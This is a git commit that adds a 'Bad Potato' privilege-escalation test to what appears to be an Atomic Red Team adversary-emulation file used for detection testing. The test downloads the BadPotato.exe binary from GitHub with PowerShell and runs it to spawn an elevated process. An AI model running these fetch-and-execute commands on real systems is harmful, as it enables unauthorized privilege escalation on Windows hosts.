BadPotatoTest (#2108)

Co-authored-by: McDaniel <jmcdan@NTI.local>
This commit is contained in:
Jathan-McDaniel
2022-08-31 15:22:58 -05:00
committed by GitHub
parent 440e46542a
commit cbba249a09
2 changed files with 25 additions and 0 deletions
+25
View File
@@ -58,3 +58,28 @@ atomic_tests:
Start-Sleep -Second 5
Stop-Process -Name "cmd" -force -erroraction silentlycontinue
name: powershell
- name: Bad Potato
description: |-
https://github.com/BeichenDream/BadPotato
Privilege escalation using named pipe connections
supported_platforms:
- windows
dependency_executor_name: powershell
dependencies:
- description: |
BadPotato.exe must exist in the temp directory
prereq_command: |
if (Test-Path $env:temp\BadPotato.exe) {exit 0} else {exit 1}
get_prereq_command: |
Invoke-WebRequest -OutFile $env:TEMP\BadPotato.exe "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true"
executor:
command: |
cd $env:temp
Start-Process .\BadPotato.exe notepad.exe
Start-Sleep -Second 20
Stop-Process -Name "notepad" -force -erroraction silentlycontinue
Stop-Process -Name "BadPotato" -force -erroraction silentlycontinue
cleanup_command: |
taskkill /f /im notepad.exe
name: powershell
elevation_required: true
Binary file not shown.